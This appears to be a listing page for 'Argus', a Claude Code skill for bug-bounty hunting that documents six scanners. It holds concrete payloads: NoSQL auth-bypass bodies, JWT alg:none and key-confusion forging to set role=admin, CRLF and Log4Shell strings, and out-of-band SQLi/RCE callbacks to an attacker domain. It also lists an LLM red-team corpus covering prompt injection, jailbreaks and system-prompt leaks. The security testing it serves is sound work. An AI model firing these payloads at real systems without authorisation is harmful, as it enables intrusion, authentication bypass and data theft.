/argus
Argus — the all-seeing scanner suite. Six automated scanners for high-value web + LLM bug classes — CORS misconfiguration (origin reflection / null / credentialed read), CRLF & host-header injection, NoSQL injection (operator auth-bypass / $where blind), JWT attacks (alg:none /
$ npx -y skills add shuvonsec/claude-bug-bounty --skill argus --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/argus
Context preview
The summary Claude sees to decide when to auto-load this skill.
Argus — the all-seeing scanner suite. Six automated scanners for high-value web + LLM bug classes — CORS misconfiguration (origin reflection / null / credentialed read), CRLF & host-header injection, NoSQL injection (operator auth-bypass / $where blind), JWT attacks (alg:none /
SKILL.md
argus.SKILL.mdname: argus
description: Argus — the all-seeing scanner suite. Six automated scanners for high-value web + LLM bug classes — CORS misconfiguration (origin reflection / null / credentialed read), CRLF & host-header injection, NoSQL injection (operator auth-bypass / $where blind), JWT attacks (alg:none / RS256→HS256 confusion / secret crack), out-of-band confirmation of blind SSRF/XXE/SQLi/RCE/Log4Shell via interactsh, and an LLM red-team corpus (prompt-injection / jailbreak / system-prompt leak / exfil / indirect injection). Use when a target exposes a JSON API, a login endpoint, JWT auth, a parameter that might reach the server, a chatbot/agent, or any endpoint suspected of a blind/out-of-band bug.
ARGUS — THE ALL-SEEING SCANNER SUITE
> Named for Argus Panoptes, the hundred-eyed giant. Six "eyes" that surface what > ordinary scans miss: two of the most common web2 classes (CORS, CRLF), the > NoSQL "db" surface, JWT forging, **blind-bug confirmation via OOB** (the eye > that sees the invisible — unblocks an entire severity band), and automated LLM > red-teaming. All pure-Python, no new deps. Core logic is offline-testable.
---
0. ROUTING — which tool for what
| Signal on the target | Tool / command | |---|---| | API reflects `Origin`, or `ACAO`/`ACAC` headers seen | `/cors` | | Param reaches a redirect / `Location` / log / response header | `/crlf` | | JSON login or `{user,pass}` body, Mongo/Mongoose stack | `/nosqli` | | `Authorization: Bearer ey...` / JWT in cookie or storage | `/jwt-scan` | | Suspected **blind** SSRF/XXE/SQLi/RCE (no in-band signal) | `/oob` | | Chatbot / agent / LLM feature | `/llm-redteam` |
---
1. CORS — `/cors`
tools/cors_scanner.py https://api.target.com/me --cookie "session=..."
tools/cors_scanner.py -l recon/target.com/urls/api.txt --json
Sends crafted `Origin` headers, classifies `Access-Control-Allow-Origin` / `Access-Control-Allow-Credentials`:
- **CRITICAL** — reflects attacker origin **with** `ACAC: true` → cookie-auth'd cross-origin read (account-data exfil).
- **HIGH** — `null` origin trusted with credentials.
- **MEDIUM** — reflects without creds (exploitable when auth = non-cookie token), or trusts http downgrade.
- Probes suffix/prefix regex bypass (`target.com.evil`, `notarget.com`) and subdomain trust (chains with [takeover](../../commands/takeover.md)).
**Always pass `--cookie` with a live session** — the credentialed path is the win.
2. CRLF / host-header — `/crlf`
tools/crlf_scanner.py "https://target.com/r?u=x" --host-header
Injects encoded CRLF (`%0d%0a`, double-encoded, UTF-8 overlong `%E5%98%8A%E5%98%8D`) trying to land `Set-Cookie: crlftest=1` in the response. `--host-header` also tests `Host` / `X-Forwarded-Host` / `Forwarded` injection and flags attacker-host reflection in `Location` (password-reset poisoning). Impact: session fixation, open redirect, cache poisoning, reset poisoning.
> `urllib` strips raw `\r\n` from URLs by design — the **encoded** variants are > what actually go on the wire.
3. NoSQL injection — `/nosqli`
tools/nosqli_scanner.py --login https://t/api/login --user-field email --pass-field password
tools/nosqli_scanner.py --query "https://t/api/items?id=1" # emits bracket variants
- Operator auth-bypass: `{"email":{"$ne":null},"password":{"$ne":null}}`
- Bracket syntax (Express/qs): `email[$ne]=&password[$ne]=`
- `$where` time-based blind: `{"$where":"sleep(5000)"}` → server-side JS eval = **CRITICAL**
Sends a wrong-credential baseline first, flags a finding when status flips 401→200, body length jumps >25%, or the `$where` payload delays the response ≥3.5 s.
4. JWT attacks — `/jwt-scan` (offline)
tools/jwt_scanner.py "$TOKEN" --analyze
tools/jwt_scanner.py "$TOKEN" --alg-none --set role=admin
tools/jwt_scanner.py "$TOKEN" --confuse --public-key jwks_pub.pem --set role=admin
tools/jwt_scanner.py "$TOKEN" --crack --wordlist secrets.txt
- `--alg-none` — strip signature, set `alg` to none/None/NONE/nOnE.
- `--confuse` — RS256→HS256: re-sign with the server's **public** key as HMAC secret.
- `--crack` — brute the HS256 secret.
- `--analyze` — flags `alg=none`, missing `exp`, trust-bearing claims (`role`/`is_admin`/`scope`), `kid` (probe for traversal/SQLi).
Get the public key from `/.well-known/jwks.json` or `/jwks.json`. Replay the forged token against an authed endpoint — acceptance = **auth bypass / privesc**.
5. Out-of-band confirmation — `/oob` ⭐
The highest-leverage tool. Confirms **blind** bugs that have no in-band signal by correlating interactsh callbacks to the firing payload.
# 1. listener (prints your OOB domain, streams interactions)
tools/oob_listener.py --listen > inter.jsonl
# 2. payloads embedding a unique marker per injection point
tools/oob_listener.py --payloads cXXXX.oast.fun --json > payloads.json
# 3. correlate received callbacks
tools/oob_listener.py --correlate inter.jsonl --payloads-file payloads.json
Covers blind SSRF, XXE (incl. OOB-DTD exfil), SQLi (MSSQL `xp_dirtree` / MySQL `LOAD_FILE` / Oracle `UTL_HTTP` / Postgres `COPY…PROGRAM`), RCE (`curl`/`nslookup`/backticks), and Log4Shell (`${jndi:ldap://…}` + `${lower:j}` filter bypass). Needs `interactsh-client` (`/arsenal interactsh-client` for the install hint); payload generation + correlation work offline without it.
**Why it matters:** without OOB you cannot *prove* blind SSRF/XXE/SQLi/RCE — a whole band of Critical findings is otherwise un-submittable.
6. LLM red-team — `/llm-redteam`
tools/llm_redteam.py --url https://t/api/chat --field message
tools/llm_redteam.py --url https://t/api/chat \
--template '{"messages":[{"role":"user","content":"{{PAYLOAD}}"}]}' \
--response-path choices.0.message.content --category jailbreakFires a categorized corpus — `prompt-injection`, `jailbreak`, `system-prompt-leak`, `data-exfil`, `indirect-injection`, `guardrail-bypass` — and uses a **canary token** (`RT_PWNED_xxxx`) f
Read more
name: argus description: Argus — the all-seeing scanner suite. Six automated scanners for high-value web + LLM bug classes — CORS misconfiguration (origin reflection / null / credentialed read), CRLF & host-header injection, NoSQL injection (operator auth-bypass / $where blind), JWT attacks (alg:none / RS256→HS256 confusion / secret crack), out-of-band confirmation of blind SSRF/XXE/SQLi/RCE/Log4Shell via interactsh, and an LLM red-team corpus (prompt-injection / jailbreak / system-prompt leak / exfil / indirect injection). Use when a target exposes a JSON API, a login endpoint, JWT auth, a parameter that might reach the server, a chatbot/agent, or any endpoint suspected of a blind/out-of-band bug.
ARGUS — THE ALL-SEEING SCANNER SUITE
> Named for Argus Panoptes, the hundred-eyed giant. Six "eyes" that surface what > ordinary scans miss: two of the most common web2 classes (CORS, CRLF), the > NoSQL "db" surface, JWT forging, **blind-bug confirmation via OOB** (the eye > that sees the invisible — unblocks an entire severity band), and automated LLM > red-teaming. All pure-Python, no new deps. Core logic is offline-testable.
---
0. ROUTING — which tool for what
| Signal on the target | Tool / command | |---|---| | API reflects `Origin`, or `ACAO`/`ACAC` headers seen | `/cors` | | Param reaches a redirect / `Location` / log / response header | `/crlf` | | JSON login or `{user,pass}` body, Mongo/Mongoose stack | `/nosqli` | | `Authorization: Bearer ey...` / JWT in cookie or storage | `/jwt-scan` | | Suspected **blind** SSRF/XXE/SQLi/RCE (no in-band signal) | `/oob` | | Chatbot / agent / LLM feature | `/llm-redteam` |
---
1. CORS — `/cors`
tools/cors_scanner.py https://api.target.com/me --cookie "session=..." tools/cors_scanner.py -l recon/target.com/urls/api.txt --json
Sends crafted `Origin` headers, classifies `Access-Control-Allow-Origin` / `Access-Control-Allow-Credentials`:
- **CRITICAL** — reflects attacker origin **with** `ACAC: true` → cookie-auth'd cross-origin read (account-data exfil).
- **HIGH** — `null` origin trusted with credentials.
- **MEDIUM** — reflects without creds (exploitable when auth = non-cookie token), or trusts http downgrade.
- Probes suffix/prefix regex bypass (`target.com.evil`, `notarget.com`) and subdomain trust (chains with [takeover](../../commands/takeover.md)).
**Always pass `--cookie` with a live session** — the credentialed path is the win.
2. CRLF / host-header — `/crlf`
tools/crlf_scanner.py "https://target.com/r?u=x" --host-header
Injects encoded CRLF (`%0d%0a`, double-encoded, UTF-8 overlong `%E5%98%8A%E5%98%8D`) trying to land `Set-Cookie: crlftest=1` in the response. `--host-header` also tests `Host` / `X-Forwarded-Host` / `Forwarded` injection and flags attacker-host reflection in `Location` (password-reset poisoning). Impact: session fixation, open redirect, cache poisoning, reset poisoning.
> `urllib` strips raw `\r\n` from URLs by design — the **encoded** variants are > what actually go on the wire.
3. NoSQL injection — `/nosqli`
tools/nosqli_scanner.py --login https://t/api/login --user-field email --pass-field password tools/nosqli_scanner.py --query "https://t/api/items?id=1" # emits bracket variants
- Operator auth-bypass: `{"email":{"$ne":null},"password":{"$ne":null}}`
- Bracket syntax (Express/qs): `email[$ne]=&password[$ne]=`
- `$where` time-based blind: `{"$where":"sleep(5000)"}` → server-side JS eval = **CRITICAL**
Sends a wrong-credential baseline first, flags a finding when status flips 401→200, body length jumps >25%, or the `$where` payload delays the response ≥3.5 s.
4. JWT attacks — `/jwt-scan` (offline)
tools/jwt_scanner.py "$TOKEN" --analyze tools/jwt_scanner.py "$TOKEN" --alg-none --set role=admin tools/jwt_scanner.py "$TOKEN" --confuse --public-key jwks_pub.pem --set role=admin tools/jwt_scanner.py "$TOKEN" --crack --wordlist secrets.txt
- `--alg-none` — strip signature, set `alg` to none/None/NONE/nOnE.
- `--confuse` — RS256→HS256: re-sign with the server's **public** key as HMAC secret.
- `--crack` — brute the HS256 secret.
- `--analyze` — flags `alg=none`, missing `exp`, trust-bearing claims (`role`/`is_admin`/`scope`), `kid` (probe for traversal/SQLi).
Get the public key from `/.well-known/jwks.json` or `/jwks.json`. Replay the forged token against an authed endpoint — acceptance = **auth bypass / privesc**.
5. Out-of-band confirmation — `/oob` ⭐
The highest-leverage tool. Confirms **blind** bugs that have no in-band signal by correlating interactsh callbacks to the firing payload.
# 1. listener (prints your OOB domain, streams interactions) tools/oob_listener.py --listen > inter.jsonl # 2. payloads embedding a unique marker per injection point tools/oob_listener.py --payloads cXXXX.oast.fun --json > payloads.json # 3. correlate received callbacks tools/oob_listener.py --correlate inter.jsonl --payloads-file payloads.json
Covers blind SSRF, XXE (incl. OOB-DTD exfil), SQLi (MSSQL `xp_dirtree` / MySQL `LOAD_FILE` / Oracle `UTL_HTTP` / Postgres `COPY…PROGRAM`), RCE (`curl`/`nslookup`/backticks), and Log4Shell (`${jndi:ldap://…}` + `${lower:j}` filter bypass). Needs `interactsh-client` (`/arsenal interactsh-client` for the install hint); payload generation + correlation work offline without it.
**Why it matters:** without OOB you cannot *prove* blind SSRF/XXE/SQLi/RCE — a whole band of Critical findings is otherwise un-submittable.
6. LLM red-team — `/llm-redteam`
tools/llm_redteam.py --url https://t/api/chat --field message
tools/llm_redteam.py --url https://t/api/chat \
--template '{"messages":[{"role":"user","content":"{{PAYLOAD}}"}]}' \
--response-path choices.0.message.content --category jailbreakFires a categorized corpus — `prompt-injection`, `jailbreak`, `system-prompt-leak`, `data-exfil`, `indirect-injection`, `guardrail-bypass` — and uses a **canary token** (`RT_PWNED_xxxx`) f
AI-powered bug bounty hunting from your terminal - recon, 20 vuln classes, autonomous hunting, and report generation. All inside Claude Code.
Repo: shuvonsec/claude-bug-bounty
Other skills on claude-bug-bounty.
- /bb-methodology
Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection,
Open skill - /bug-bounty
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF,
Open skill - /cicd-security
CI/CD pipeline security hunting — GitHub Actions workflow injection, secret exfiltration, self-hosted runner poisoning, dependency confusion, OIDC token theft, and supply chain attacks. Covers sisakulint scanning, manual workflow analysis, and chaining CI/CD bugs into critical
Open skill - /client-reverse
Client-side request-signing and anti-bot token reversal for bug bounty — when a request carries a sign/sig/hmac/token/nonce/timestamp/X-Sensor header that Burp Repeater cannot replay, recover the signer just enough to reproduce the request outside the client. Packet-first
Open skill - /credential-attack
Password spray methodology for bug bounty — when to do it vs web-vuln hunting, the wordlist-gen + breach-check + osint-employees + spray pipeline, mode selection (http-form / oauth / o365 / okta), rate-limit + lockout tactics, BBP legal guardrails, success detection, and the
Open skill - /graphql-audit
GraphQL security hunting — introspection abuse, field suggestion enumeration (clairvoyance), batching DoS, IDOR via aliasing, auth bypass, injection via arguments, subscription abuse, depth/complexity bombs, and WAF bypass. Covers graphw00f fingerprinting, gqlmap, graphql-cop,
Open skill

